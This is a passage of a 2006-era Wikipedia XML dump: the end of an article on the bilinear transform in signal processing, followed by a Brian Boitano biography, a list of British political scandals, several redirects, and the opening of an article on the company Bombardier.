The inverse of this mapping (and its first-order bilinear approximation) is

:{|
|-
|&lt;math&gt;s \ &lt;/math&gt;
|&lt;math&gt; = \frac{1}{T} \log(z) \ &lt;/math&gt;
|-
|
|&lt;math&gt; = \frac{2}{T} \left[ \frac{z-1}{z+1} + \frac{1}{3} \left( \frac{z-1}{z+1} \right)^3  + \frac{1}{5} \left( \frac{z-1}{z+1} \right)^5  + \frac{1}{7} \left( \frac{z-1}{z+1} \right)^7 + \ldots \right] \ &lt;/math&gt;
|-
|
|&lt;math&gt; \approx  \frac{2}{T} \frac{z - 1}{z + 1}. \ &lt;/math&gt;
|}

The bilinear transform essentially uses this first order approximation and substitutes into the continuous-time transfer function, &lt;math&gt; H_a(s) \ &lt;/math&gt;

:&lt;math&gt;s \leftarrow \frac{2}{T} \frac{z - 1}{z + 1}.&lt;/math&gt;

That is

:&lt;math&gt;H_d(z) = H_a(s) \bigg|_{s = \frac{2}{T} \frac{z - 1}{z + 1}}= H_a \left( \frac{2}{T} \frac{z-1}{z+1} \right). \ &lt;/math&gt;

The bilinear transform is a special case of a [[conformal map|conformal mapping]], namely, the [[Möbius transformation]] defined as

:&lt;math&gt;z^{\prime} = \frac{a z + b}{c z + d}.&lt;/math&gt;

== Stability and minimum-phase property preserved ==

A continuous-time filter is [[BIBO stability|stable]] if the [[Pole (complex analysis)|poles]] of its transfer function fall in the negative real half of the [[complex number|complex]] [[s-plane]].  A discrete-time filter is stable if the poles of its transfer function fall inside the [[unit circle]] in the  [[complex plane|complex z-plane]]. The bilinear transform maps the negative real half of the complex s-plane to the interior of the unit circle in the z-plane.  Thus filters designed in the continuous-time domain that are stable are converted to filters the discrete-time domain that preserve that stability.

Likewise, a continuous-time filter is [[minimum-phase]] if the [[Zero (complex analysis)|zeros]] of its transfer function fall in the negative real half of the complex s-plane.  A discrete-time filter is minimum-phase if the zeros of its transfer function fall inside the unit circle in the complex z-plane.  Then the same mapping property assures that continuous-time filters that are minimum-phase are converted to discrete-time filters that preserve that property of being minimum-phase.

== Example ==

As an example take a simple RC-filter.  This continuous-time filter has a transfer function

:&lt;math&gt;H_a(s) = \frac{1}{1 + RC s}.&lt;/math&gt;

If we wish to implement this filter as a digital filter, we can apply the bilinear transform by substituting for &lt;math&gt;s&lt;/math&gt; the formula above; after some reworking, we get the following filter representation:

:{|
|-
|&lt;math&gt;H_d(z) \ &lt;/math&gt;
|&lt;math&gt; =H_a \left( \frac{2}{T} \frac{z-1}{z+1}\right) \ &lt;/math&gt;
|-
|
|&lt;math&gt;= \frac{1}{1 + RC \left( \frac{2}{T} \frac{z-1}{z+1}\right)} \ &lt;/math&gt;
|-
|
|&lt;math&gt;= \frac{1 + z}{(1 - 2 RC / T) + (1 + 2RC / T) z}. \ &lt;/math&gt;
|}

== Frequency warping ==

To determine the frequency response of a continuous-time filter, the transfer function &lt;math&gt; H_a(s) \ &lt;/math&gt; is evaluated at &lt;math&gt;s = j \omega \ &lt;/math&gt; which is on the &lt;math&gt; j \omega \ &lt;/math&gt; axis.  Likewise, to determine the frequency response of a discrete-time filter, the transfer function &lt;math&gt; H_d(z) \ &lt;/math&gt; is evaluated at &lt;font style=&quot;vertical-align:+30%;&quot;&gt;&lt;math&gt;z = e^{ j \omega T} \ &lt;/math&gt;&lt;/font&gt; which is on the unit circle, &lt;math&gt; |z| = 1 \ &lt;/math&gt;. When the actual frequency of &lt;math&gt; \omega \ &lt;/math&gt; is input to the discrete-time filter designed by use of the bilinear transform, it is desired to know at what frequency, &lt;math&gt; \omega_a \ &lt;/math&gt;, for the continuous-time filter that this &lt;math&gt; \omega \ &lt;/math&gt; is mapped to.

:&lt;math&gt;H_d(z) = H_a \left( \frac{2}{T} \frac{z-1}{z+1}\right) \ &lt;/math&gt;

:{|
|-
|&lt;math&gt;H_d(e^{ j \omega T}) \ &lt;/math&gt;
|&lt;math&gt;= H_a \left( \frac{2}{T} \frac{e^{ j \omega T} - 1}{e^{ j \omega T} + 1}\right) \ &lt;/math&gt;
|-
|
|&lt;math&gt;= H_a \left( \frac{2}{T} \cdot \frac{e^{j \omega T/2} \left(e^{j \omega T/2} - e^{-j \omega T/2}\right)}{e^{j \omega T/2} \left(e^{j \omega T/2} + e^{-j \omega T/2 }\right)}\right) \ &lt;/math&gt;
|-
|
|&lt;math&gt;= H_a \left( \frac{2}{T} \cdot \frac{\left(e^{j \omega T/2} - e^{-j \omega T/2}\right)}{\left(e^{j \omega T/2} + e^{-j \omega T/2 }\right)}\right) \ &lt;/math&gt;
|-
|
|&lt;math&gt;= H_a \left(j \frac{2}{T} \cdot \frac{ \left(e^{j \omega T/2} - e^{-j \omega T/2}\right) /(2j)}{\left(e^{j \omega T/2} + e^{-j \omega T/2 }\right) / 2}\right) \ &lt;/math&gt;
|-
|
|&lt;math&gt;= H_a \left(j \frac{2}{T} \cdot \frac{ \sin(\omega T/2) }{ \cos(\omega T/2) }\right) \ &lt;/math&gt;
|-
|
|&lt;math&gt;= H_a \left(j \frac{2}{T} \cdot \tan \left( \omega \frac{T}{2} \right) \right) \ &lt;/math&gt;
|-
|
|&lt;math&gt;= H_a \left(j \omega_a \right). \ &lt;/math&gt;
|}

This shows that every point on the unit circle in the discrete-time filter z-plane, &lt;font style=&quot;vertical-align:+30%;&quot;&gt;&lt;math&gt;z = e^{ j \omega T} \ &lt;/math&gt;&lt;/font&gt; is mapped to a point on the &lt;math&gt;j \omega \ &lt;/math&gt; axis on the continuous-time filter s-plane, &lt;math&gt;s = j \omega_a \ &lt;/math&gt;. That is, the discrete-time to continuous-time frequency mapping of the bilinear transform is

:&lt;math&gt; \omega_a = \frac{2}{T} \tan \left( \omega \frac{T}{2} \right) &lt;/math&gt;

and the inverse mapping is

:&lt;math&gt; \omega = \frac{2}{T} \arctan \left( \omega_a \frac{T}{2} \right). &lt;/math&gt;

The discrete-time filter behaves at frequency &lt;math&gt;\omega \ &lt;/math&gt; the same way that the continuous-time filter behaves at frequency &lt;math&gt; (2/T) \tan(\omega T/2) \ &lt;/math&gt;.  Specifically, the gain and phase shift that the discrete-time filter has at frequency &lt;math&gt;\omega \ &lt;/math&gt; the same gain and phase shift that the continuous-time filter has at frequency &lt;math&gt; (2/T) \tan(\omega T/2) \ &lt;/math&gt;.  This means that every feature, every &quot;bump&quot; that is visible in the frequency response of the continuous-time filter is also visible in the discrete-time filter, but at a slightly different frequency.  For low frequencies &lt;math&gt;\omega \approx \omega_a \ &lt;/math&gt;.

One can see that the entire continuous frequency range

: &lt;math&gt; -\infty &lt; \omega_a &lt; +\infty \ &lt;/math&gt;

is mapped onto the fundamental frequency interval

: &lt;math&gt; -\frac{\pi}{T} &lt; \omega &lt; +\frac{\pi}{T}. \ &lt;/math&gt;

The continuous-time filter frequency &lt;math&gt; \omega_a = 0 \ &lt;/math&gt; corresponds to the discrete-time filter frequency &lt;math&gt; \omega = 0 \ &lt;/math&gt; and the continuous-time filter frequency &lt;math&gt; \omega_a = \pm \infty \ &lt;/math&gt; correspond to the discrete-time filter frequency &lt;math&gt; \omega = \pm \pi / T. \ &lt;/math&gt;

One can also see that there is a nonlinear relationship between &lt;math&gt; \omega_a \ &lt;/math&gt; and &lt;math&gt; \omega. \ &lt;/math&gt;  This effect of the bilinear transform is called '''''frequency warping'''''. The continuous-time filter can be designed to compensate for this frequency warping by setting &lt;math&gt; \omega_a = \frac{2}{T} \tan \left( \omega \frac{T}{2} \right) \ &lt;/math&gt; for every frequency specification that the designer has control over (such as corner frequency or center frequency).  This is called '''''pre-warping''''' the filter design.

The main advantage of the warping phenomenon is the absence of aliasing distortion of the frequency response characteristic, such as observed with the [[impulse invariant method]].  It is necessary, however, to compensate for the frequency warping by pre-warping the given frequency specifications of the continuous-time system.  These pre-warped specifications may then be used in the bilinear transform to obtain the desired discrete-time system.

[[Category:Digital signal processing]]
[[Category:Transforms]]</text>
    </revision>
  </page>
  <page>
    <title>British Political Scandals</title>
    <id>4629</id>
    <revision>
      <id>35470258</id>
      <timestamp>2006-01-17T00:07:58Z</timestamp>
      <contributor>
        <username>ProveIt</username>
        <id>483858</id>
      </contributor>
      <comment>fixed double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of British political scandals]]</text>
    </revision>
  </page>
  <page>
    <title>Brian Boitano</title>
    <id>4631</id>
    <revision>
      <id>42032795</id>
      <timestamp>2006-03-03T09:36:10Z</timestamp>
      <contributor>
        <username>FlorianB</username>
        <id>108515</id>
      </contributor>
      <minor />
      <comment>/* Trivia */ copyedit</comment>
      <text xml:space="preserve">{{MedalTop}}
{{MedalSport| [[Figure skating|Figure Skating]]}}
{{MedalGold|[[1988 Winter Olympics|1988]]|[[Figure skating at the 1988 Winter Olympics#Men's|Men's Singles]]}}
{{MedalBottom}}
'''Brian Anthony Boitano''' (born [[October 22]], [[1963]]) is an [[United States|American]] [[figure skating|figure skater]] from [[Sunnyvale, California]].  Once a champion in the amateur ranks, he became a professional skater following the [[1988]] season.

Boitano is probably best remembered for his incomparable jumping technique, having propelled 
the technical aspect of the sport in both the amateur and professional ranks.  He was the first American to land the [[Axel jump|Triple axel]] in 1982; he was the first skater to attempt a quadruple jump in competition; and in 1987, he introduced his signature jump, the ''Tano triple [[lutz jump|lutz]]'' in which the skater, while performing the already extremely difficult jump, raises his left arm above his head. 

The extent to which Boitano helped push the technical limits of the sport is quite astounding when one considers the type of elements that skaters regularly executed during the 10 years prior to Boitano's final competition as an amateur and the 10 years following his departure.  The contrast in the difficulty of elements between a winning performance in [[1978]] and 1988 is quite stark, while the elements that Boitano executed in 1988 are still very much part of a top performance today.  Possessing such technical ability enabled Boitano to compete as a favorite in the second Olympics following his victory while previous Olympic champions would have found the technical landscape of their sport to have dramatically changed such that they would not be able to contend.  Even in the professional ranks, Boitano was the first skater to regularly execute Triple axels and land 6 triple jumps at the World Professional Championships.  Prior to Boitano's entrance, professional skating had not at all emphasized technical prowess, but that significantly changed.

==Amateur career==
The highlight of Boitano's career is winning the much celebrated ''Battle of the Brians'' over [[Canada|Canadian]] [[Brian Orser]] at the [[1988 Winter Olympics]] in [[Calgary, Alberta|Calgary]].  Following the departure of four-time world champion and [[1984 Winter Olympics|1984 Olympic]] gold medalist [[Scott Hamilton]] to the professional ranks, a power vacuum had been left in the world of eligible men's figure skating.  Among likely successors of Hamilton were 1984 Olympic silver medalist Brian Orser and Hamilton's fellow American, Brian Boitano, who had finished 5th at the [[Sarajevo]] Games.  At the first world championships of the post-Hamilton era in [[1985]], Alexander Fadeev, then of the [[Soviet Union]], was the surprise winner, with Orser finishing 2nd and Boitano 3rd.  But in the [[1986]] World Championships in [[Geneva]], [[Switzerland]], Boitano took the title, while Orser unfortunately suffered a disastrous free skate despite having been in an excellent position to win.  The following World Championships in [[1987]] were held in [[Cincinnati]], giving the defending world champion Boitano a home-field advantage.  Furthermore, the outcome of the event would set the tone for the 1988 Olympics.  During the 1986-87 season, Boitano had introduced two new elements to his programs: the Tano Triple Lutz and a quadruple toe loop.  Orser had also pushed the sport by introducing two Triple Axels to the free skate.  In Cincinnati, Boitano fell on his quadruple toe loop attempt, despite landing it perfectly during warmups, and that set the tone for the rest of the program.  Brian Orser, on the other hand, skated fantastically, and took the gold medal.

The stage was set for the all-important 1987-88 season, which of course included the 1988 Olympics.  Upon losing the world title to Orser at home, Boitano and his coach [[Linda Leaver]] decided that some drastic changes needed to be made if Boitano were to become the Olympic Champion.  Boitano's technical elements had always been amazing, but his presentation had not; he was a self-described &quot;jumping robot&quot;.  In order to rectify these shortcomings in his artistic side, Canadian [[Sandra Bezic]], now a legendary choreographer, was hired.  Bezic recalls feeling somewhat uneasy about taking the job on two respects: 1. she wondered if becoming Boitano's choreographer would constitute taking sides in the American Boitano vs. fellow Canadian Orser's looming duel in Calgary.  2. Bezic had doubts of whether Boitano could be transformed into an artistic skater.  Boitano had usually skated to upbeat rock and roll music, trying to imitate Hamilton's and Orser's quick movements, but Bezic choreographed two programs that had clean lines and accentuated the 5' 11&quot; Boitano's skating.  The short program was based on [[Giacomo Meyerbeer]]'s ballet ''Les Patineurs'' in which Boitano plays a cocky boy showing off his tricks and uses movements dating back to the 19th century.  It is this program in which Boitano famously brushes off ice shavings off his skate and tosses it above his shoulder upon landing a very difficult Triple axel-double loop combination.  The free program was based on the film score ''Napoleon'' by [[Francis Ford Coppola]], detailing various phases of a soldier's life.  Coincidently, Orser's free program this season also had a military theme, and both skaters' costumes involved  military garbs: Boitano's blue and Orser's red.

Boitano debuted his new programs at 1987 Skate Canada, held in the Saddledome in Calgary, the same venue in which he would compete against Brian Orser for the Olympic title in three months.  Boitano's new programs were received with standing ovations by the audience and quite a surprise by skating pundits.  Orser actually won this competition, but Boitano showed amazing early season form, landing 7 flawless triple jumps, which was more than what Orser had landed.  Furthermore, the Tano Triple was refined, the Triple Axel further improved, and the Triple Flip-Triple Toe Loop combination now preceded by a footwork sequence.  This sent a message that the significant strides in presentation did not come at the expense of technique; if anything, Boitano's technical elements were now much more difficult and better executed.  Furthermore, Boitano, Leaver, and Bezic were so confident about the strength of Boitano's new programs that they omitted the quadruple toe loop, which if landed, would have put him a shoulder above Orser in technical merit even if Orser skated absolutely flawlessly.

The short program at the 1988 US National Championships proved to be a highlight.  Boitano received marks of 6.0 from eight of the nine judges for presentation, not for his usual high mark of technical merit, although those marks were quite good as well.  His free skate was not his best, but because of significant delays, the program was skated in the wee hours of the night, nearly 6 hours after it was scheduled.  Boitano's only remark was, &quot;I was sleepy.&quot;  Orser faced a similar predicament at the Canadian Nationals: a fantastic short program, and a not-so-great free skate due to extremely sloppy conditions.  But both skaters had the clear backing of their national federations, and the stage was set for the Olympics.

The media coverage surrounding the head-to-head competition between Boitano and Orser, dubbed the ''Battle of the Brians'' was in a state of frenzy.  At the Calgary games, Fadeev won the compulsories, with Boitano 2nd and Orser 3rd.  Then in the short program, Orser finished 1st with a dramatic rendition of ''Sing, sing, sing'' and Boitano finished 2nd.  Heading into the final free skating portion of the competition (worth 50% of the overall total), Boitano still had a slight lead over Orser, but the lead was so minuscule that the winner of the free skate was guaranteed to win the gold medal.  Boitano went on to skate the performance of his life and win the gold, landing 8 triple jumps including two triple [[axel|axels]] and a [[triple flip]]-triple [[toe loop jump|toe loop]] combination.  The performance is considered to be among the very best in the history of the sport, which is particularly impressive given the pressure of the Olympic Games as well as intense media scrutiny surrounding the ''Battle of the Brians''.  To this day, the ''[[Sports Illustrated]]'' cover featuring Brian Boitano landing his second triple axel of the program marks the only time a male figure skater has appeared on the cover of the magazine.

==Professional career==
Following his victory in Calgary as well as another gold medal at the World Championships in [[Budapest]], Boitano turned professional.  He went on to dominate competitions in the professional ranks, winning 10 straight professional competitions, including 5 consecutive World Professional Championship titles and 4 consecutive wins at the Challenge of Champions.  During this five-year stretch, Boitano did not make a single technical error in his programs.  In June 1993, the International Skating Union (ISU) introduced a clause, known as the &quot;Boitano rule&quot;, which allowed professionals to reinstate as 'amateur' or 'eligible' skaters.  This had been the result of Boitano's active involvement during the early [[1990s]], which saw professionals being allowed in the Olympic Games in the sports of tennis and basketball.  Boitano reinstated to have a crack at the [[1994 Winter Olympics]] in [[Lillehammer]], [[Norway]].  Going into the Olympics as a gold medal favorite among a star-studded field, Boitano uncharacteristically missed his triple axel combination during the short program&amp;mdash;for the first time ever, according to Scott Hamilton&amp;mdash;and this proved extremely costly, knocking Boitano completely out of medal contention.  He fought back to finish 6th.

==Records and Achievements==
===Amateur===
* Olympic Champion (1988).
* Two-time World Champion (1986, 1988).
* Four-time United States National Champion (1985-1988).

===Professional===
* Six-time World Professional Championships Champion (1988-1992, 1994).
===Awards===
* Inducted into the World Figure Skating Hall of Fame (1996).
* Inducted into the United States Figure Skating Hall of Fame (1996).

==External link==
*[http://www.usolympicteam.com/26_595.htm Brian Boitano's U.S. Olympic Team bio] - with a photo gallery, Q&amp;A

== Trivia ==
* A [[caricature]] of Brian Boitano as a [[superhero]] appears as a recurring character in the [[cartoon]] series ''[[South Park]]''.  The movie ''[[South Park: Bigger, Longer &amp; Uncut]]'' ([[1999 in film|1999]]), features a musical number titled &quot;[[What Would Brian Boitano Do?]]&quot; to which Mr. Boitano has skated. Mr. Boitano also appears in a 1995 Christmas cartoon that was a prototype of South Park, entitled [[The Spirit of Christmas]].
* Boitano is a graduate of [[Peterson High School]] [http://www.scu.k12.ca.us/news_and_events/hall_of_fame.htm] [http://www.petersonhigh.com/] in Sunnyvale, California

==Navigation==
{{NavigationOlympicChampionsFigureSkatingMen}}
{{NavigationWorldChampionsFigureSkatingMen}}


[[Category:1963 births|Boitano, Brian]]
[[Category:American figure skaters]]
[[Category:Figure skaters at the 1984 Winter Olympics|Boitano, Brian]]
[[Category:Figure skaters at the 1988 Winter Olympics|Boitano, Brian]]
[[Category:Figure skaters at the 1994 Winter Olympics|Boitano, Brian]]
[[Category:Italian-Americans|Boitano, Brian]]
[[Category:Living people|Boitano, Brian]]
[[Category:Olympic competitors for the United States|Boitano, Brian]]
[[Category:People from California|Boitano, Brian]]
[[Category:South Park characters|Boitano, Brian]]
[[Category:Winter Olympics medalists|Boitano, Brian]]


[[de:Brian Boitano]]
[[pl:Brian Boitano]]</text>
    </revision>
  </page>
  <page>
    <title>British Queen</title>
    <id>4632</id>
    <revision>
      <id>15902892</id>
      <timestamp>2003-10-26T08:37:37Z</timestamp>
      <contributor>
        <username>Mintguy</username>
        <id>3295</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT[[British monarchy]]</text>
    </revision>
  </page>
  <page>
    <title>List of British political scandals</title>
    <id>4633</id>
    <revision>
      <id>42130249</id>
      <timestamp>2006-03-04T00:43:55Z</timestamp>
      <contributor>
        <username>Jrleighton</username>
        <id>140144</id>
      </contributor>
      <comment>Bernie Ecclestone</comment>
      <text xml:space="preserve">This is a list of '''British [[political scandal]]s''' which have resulted from verified or alleged events.

*[[1700s]]
** [[South Sea Bubble]] ([[1720]])
*[[1910s]]
** [[Marconi scandal]] of insider trading by [[Rufus Isaacs, 1st Marquess of Reading|Rufus Isaacs]] and others ([[1912]])
**[[Shell Crisis of 1915]], which led to the fall of [[Herbert Henry Asquith]]'s government during the [[Great War]].
*[[1920s]]
** [[Zinoviev Letter]] ([[1924]])
*[[1930s]]
** [[James Henry Thomas|Jimmy Thomas]] budget leak ([[1936]])
*[[1940s]]
** [[Hugh Dalton]] budget leak ([[1947]])
** [[John Belcher]] corruptly influenced - led to [[Lynskey Tribunal]]
*[[1950s]]
** [[Crichel Down]] and the resignation of [[Thomas Dugdale]] ([[1954]])
** [[Suez Crisis]] ([[1956]])
*[[1960s]]
** Soviet agent [[John Vassall]] working for Minister [[Thomas Galbraith]] ([[1962]])
** [[Profumo Affair]] ([[1963]])
*[[1970s]]
** Corrupt Architect [[John Poulson]] and links to [[Reginald Maudling]], [[T. Dan Smith]] and others ([[1972]]-[[1974|4]])
** [[George Patrick John Rushworth Jellicoe, 2nd Earl Jellicoe|Earl Jellicoe]] and [[Antony Lambton|Lord Lambton]] sex scandal ([[1973]])
** [[John Stonehouse]]'s faked suicide ([[1974]])
** Liberal Party leader [[Jeremy Thorpe]]'s affair with Norman Scott and shooting of Scott's dog ([[1976]]) and later acquittal on charges of conspiracy to murder ([[1979]])
*[[1980s]]
** [[Cecil Parkinson]] and Flora Keays ([[1983]])
** [[Al Yamamah]] contract alleged to have been obtained by bribery ([[1985]])
** [[Westland affair]] ([[1986]])
** [[Jeffrey Archer, Baron Archer of Weston-super-Mare|Jeffrey Archer]] and the prostitute allegations ([[1986]]), and his subsequent conviction for [[perjury]] (2001)
** [[Edwina Currie]] resigns as a junior Health minister for claiming that millions of British [[eggs]] were infected with [[salmonella]] ([[1988]])
** Dame [[Shirley Porter]]'s &quot;homes-for-votes&quot; [[gerrymander]]ing scandal ([[1987]]-[[1989]])
** [[Bovine spongiform encephalopathy|BSE]] ([[1989]])
*[[1990s]]
** [[Nicholas_Ridley_(politician)|Nicholas Ridley]] comparing the [[European Union|EU]] to the [[Third Reich]] ([[1990]])
** [[Arms-to-Iraq]] and the closely connected [[Iraqi Supergun affair]] ([[1990]])
** [[David Mellor]] resignation after press disclose his affair with [[Antonia de Sancha]] ([[1992]])
** [[Squidgygate]], the covert leaking of a bugged phone call between the Princess of Wales and a male admirer, although the phrase originally referred to the exposure of the Princess's extra-marital affair (1992)
** [[Michael Mates]] gift of watch to [[Asil Nadir]] ([[1993]])
** &quot;Back to Basics&quot;, a succession of sex scandals in [[John Major]]'s government which led to the resignation of [[Tim Yeo]] and the [[Malcolm Ian Sinclair, 20th Earl of Caithness|Earl of Caithness]], among others ([[1994]])
** [[Cash-for-questions affair]] involving [[Neil Hamilton (politician)|Neil Hamilton]], [[Tim Smith]] and [[Mohamed Al-Fayed]] ([[1994]])
** [[Jonathan Aitken]] and the hotel bill allegations, and subsequent conviction for perjury ([[1995]])
** [[Bernie Ecclestone]] was involved in a political scandal when it transpired he had given the [[Labour Party]] a million pound donation - which raised eyebrows when the Labour government changed its policy to allow Formula 1 to continue being sponsored by tobacco manufacturers. The Labour Party returned the donation when the scandal came to light. ([[1997]])
** Double resignation rocks government. [[Peter Mandelson]], Trade and Industry Secretary, resigns after failing to disclose £373,000 loan from [[Paymaster General]] [[Geoffrey Robinson]]. ([[1998]])
** [[Ron Davies]] resigns from the cabinet after being robbed by a man he met at [[Clapham Common]] and then lying about it ([[1998]])
*[[2000s]]
** [[Officegate]] ([[2001]]). [[Henry McLeish]], Labour [[First Minister of Scotland]], failed to refund the [[House of Commons]] for income he had received from the sub-let of his [[constituency]] office in [[Glenrothes]] while still a Westminster MP.
** [[Keith Vaz]], Peter Mandelson and the [[Hinduja brothers]]. Mandelson forced to resign again due to misleading statements. (2001)
** In [[2002]] [[Edwina Currie]] revealed that she had had an affair, beginning in [[1984]], with [[John Major]] before he became [[Prime Minister of the United Kingdom]]. This was criticised more harshly than may otherwise have been the case as Major had frequently pushed his ''Back To Basics'' agenda, which was taken by the media as a form of [[moral absolutism]].
** The [[Burrell affair]] - allegations about the behavior of the [[British Royal Family]] and their servants with possible constitutional implications.  ([[2002]])
** [[Ron Davies]] stands down from Welsh assembly after he goes &quot;badger-watching&quot;. ([[2003]])
** The suicide of Dr [[David Kelly]] and the ''[[Hutton Inquiry]]''. On [[17 July]] [[2003]], Kelly, an employee of the [[Ministry of Defence (United Kingdom)|Ministry of Defence]], committed suicide after being misquoted by [[BBC]] journalist [[Andrew Gilligan]] as saying that [[Tony Blair]]'s [[Labour Party (UK)|Labour]] government had knowingly &quot;sexed up&quot; the &quot;[[September Dossier]]&quot;, a report into [[Iraq and weapons of mass destruction]]. The government was cleared of wrongdoing, while the BBC was strongly criticised by the subsequent inquiry, leading to the resignation of the BBC's chairman and director-general.
**[[Taxigate]] ([[2005]]). [[David McLetchie]], leader of the [[Scotland|Scottish]] [[Conservative Party (UK)|Conservative]] &amp; [[Scottish Unionist Party|Unionist Party]] is forced to resign after claiming taxi expenses for personal journeys, journeys related solely with his second job as a solicitor, and on Conservative Party business, for example travel to Conservative conferences. Conservative backbench [[MSP]] [[Brian Monteith]] has the [[whip (politics)|whip]] withdrawn for briefing against his leader to the ''[[Scotland on Sunday]]'' newspaper.
**[[Liberal Democrats (UK)|Liberal Democrats]] [[Home Affairs]] spokesman [[Mark Oaten]] resigns after it is revealed by the ''[[News of the World]]'' that he paid [[rentboy]]s to perform sexual activities on him.
**[[Tessa Jowell]], [[Labour]] cabinet minister, is [[as of 2006]] embroiled in a scandal over her alleged involvement in dealings that her husband is involved in concerning an Italian investigation into some of [[Silvio Berlusconi]]s affairs.  The Labour government passed documents that were requested by the Italian prosecuting authorities to the Italian government (headed by the defendant in the Italian case), as opposed to the requesting independent investigatory authorities. ([[2006]])

==See also==
*[[List of British political defections]]

[[Category:British political scandals|*]]</text>
    </revision>
  </page>
  <page>
    <title>Bombadier</title>
    <id>4634</id>
    <revision>
      <id>15902894</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Bombardier]]
</text>
    </revision>
  </page>
  <page>
    <title>Bombardier</title>
    <id>4635</id>
    <revision>
      <id>39787071</id>
      <timestamp>2006-02-15T21:43:55Z</timestamp>
      <contributor>
        <username>Peter Horn</username>
        <id>897817</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">:''This article is about the manufacturing company. For the military rank, see [[Bombardier (rank)]]. For the crew member of a bomber airplane, see [[Bombardier (air force)]]''

{{Infobox_Company |
  company_name   = Bombardier Inc. |
  company_logo   = [[Image:Bombardier1.jpg|center|150px|]] |
  company_type   = [[Public company]] |
  foundation     = [[Valcourt, Québec]] ([[1942]]) |
  location       = [[Montreal|Montréal, Québec]], [[Canada]] |
  key_people     = [[Joseph-Armand Bombardier]], founder |
  industry       = [[Aerospace engineering|Aerospace]] / [[Railway]]s |
  products       = [[Bombardier Challenger|Challenger]], [[Lear Jet|Learjet]], [[water bomber]]s, [[train]]s, [[tram]]s |
  revenue        = [[Image:green up.png]] $15.8 billion [[United States Dollar|USD]] ([[2005]]) |
  num_employees = 59,550 ([[2005]]) |
  homepage       = http://www.bombardier.com/
}}

'''Bombardier Inc.''' ([[IPA]] /b&amp;#596;&amp;#771;ba&amp;#641;dje/) {{tsx|BBD.SV.B}} {{tsx|BBD.MV.A}}, a [[Canadian companies|Canadian company]], was founded by [[Joseph-Armand Bombardier]] as '''L'Auto-Neige Bombardier Limitée''' in [[1942]], at [[Valcourt]] in the [[Eastern Townships]], [[Québec]]. It is a large manufacturer of regional aircraft, business jets, and railway cars. Its headquarters are in [[Montréal]], [[Québec]], [[Canada]].

'''Corporate Headquarters'''
: 800 boulevard René-Lévesque ouest
: [[Montréal]], [[Québec]]
: [[Canada]]

'''Fields of Activity'''
* Rail transportation equipment
* Regional and business aircraft
* Financial services
* Heavy and light recreational equipments

&lt;b&gt;Number of employees&lt;/b&gt; (as of January 31, [[as of 2005|2005]])
{|-
| Transportation: || 31,570
|-
| Aerospace: || 27,100
|-
| Bombardier Capital: || 630
|-
| Other: || 250
|-
| TOTAL: || 59,550
|}
== History ==
&lt;!-- Most of the next few grafs belongs in the biographical article on J.-A. Bombardier and not in the history of the company. I wonder if this is copyvio material; it certainly has the feel of something inexpertly translated from French and pasted from somewhere else. --&gt;

Joseph-Armand Bombardier was a shy, determined mechanic who dreamed of building a vehicle that could 'float on snow'. In 1937, the first [[snowmobile]] rolled out of his small repair shop in Valcourt, Quebec. Over the years, Bombardier continued to perfect his dream and found that winter-bound Canadians were eager to come along for the ride. Bombardier changed the way we travel over snow and he established a Canadian manufacturing giant along the way. 

Born in 1907, Joseph-Armand Bombardier showed a genius for tinkering early in life. He was only 10 years old when he took a cigar box and a broken alarm clock and made a working model of a tractor. As he grew older, Armand dreamt of building a vehicle that could glide over snow&amp;mdash;a fitting goal for a boy growing up in rural Valcourt. At 15, Armand designed and built his first snow vehicle which was basically a large sleigh powered by a Ford Model T engine with a wooden airplane propeller at the back. He and his brother drove the noisy contraption through Valcourt before their father ordered them to stop. Undeterred, Armand kept working on his idea while he earned a living as an auto mechanic. His big breakthrough came in the mid-1930s when he developed a drive system that would revolutionise travel in snow and swamp. In 1937, Armand sold 12 snowmobiles&amp;mdash;named the B7&amp;mdash;and opened the company l'Auto-Neige Bombardier Limitée five years later. 

J. Armand Bombardier never intended his snowmobile invention to be fun. The first snowmobiles were large, multi-passenger vehicles designed to help people get around during the long winter months. Snowmobiles are used in rural Quebec to take children to school, to carry freight, to deliver mail, and as ambulances. His invention served a very real necessity and soon business was booming. In [[1941]], Armand opened a large new factory in Valcourt. Then a major setback hit the growing business: the [[World War II|Second World War]] was well underway and the Canadian government issued wartime rationing regulations. Suddenly, Bombardier customers had to prove that snowmobiles were essential to their livelihood in order to buy one. To keep his business going, Armand switched gears and developed vehicles for the military. After the war, Armand experienced another setback in his snowmobile business. In 1948 the Quebec government passed a law requiring all highways and local roads to be cleared of snow; Bombardier's sales fell by nearly half in one year. Armand decided to diversify his business and make all-terrain vehicles for the mining, oil, and forestry industries.

Bombardier was an inventor who never rested. By the late 1940s, the quiet French Canadian had survived several setbacks and had a modestly successful small business centred in Québec. But Armand was not satisfied with the status quo and dreamt of developing a fast, lightweight snowmobile (the Ski-doo) that could carry one or two people. He worked tirelessly on his idea but always found the engine too heavy for the vehicle. In the early 1950s, Armand set aside his dream to focus on developing his company's other tracked vehicles. But by the end of the decade, smaller, more efficient engines had been developed and were starting to come on the market. Armand resumed his efforts to build a 'miniature' snowmobile. He worked alongside his eldest son Germain, who shared his father's mechanical talents. Armand and Germain developed several prototypes of the lightweight snowmobile and finally the first Ski-Doo went on sale in 1959.

The Ski-Doo became an instant hit but not for the reasons imagined by J. Armand Bombardier. The Ski-Doo was originally called the Ski-Dog because Bombardier meant it to be a practical vehicle to replace the dogsled for hunters and trappers. But the public soon discovered the speedy vehicles that can zoom over snow were a lot of fun. Suddenly a new winter sport was born, centred in Quebec. In the first year, Bombardier sold 225 Ski-Doos; four years later, 8,210 were sold. But Armand was reluctant to focus too much on the Ski-Doo and move resources away from his all-terrain vehicles. He vividly remembered his earlier business setbacks that forced him to diversify. Armand slowed down promotion of Ski-Doo to prevent it from dominating the other products. 

On [[February 18]], [[1964]], J. Armand Bombardier died of cancer at age 56. He left behind a thriving business, but also one that had been focused on one person. Armand dominated his company, overseeing all areas of operation. He controlled the small research department, making all the drawings himself. Now the younger generation took over and was led by Armand's sons and sons-in-law. The young team reorganized and decentralized the company, adopting modern business tactics. The company adopted the latest technological innovation&amp;mdash;the computer&amp;mdash;to handle inventory, accounts, and billing. Distribution networks were improved and increased, and an incentive program was developed for sales staff. 

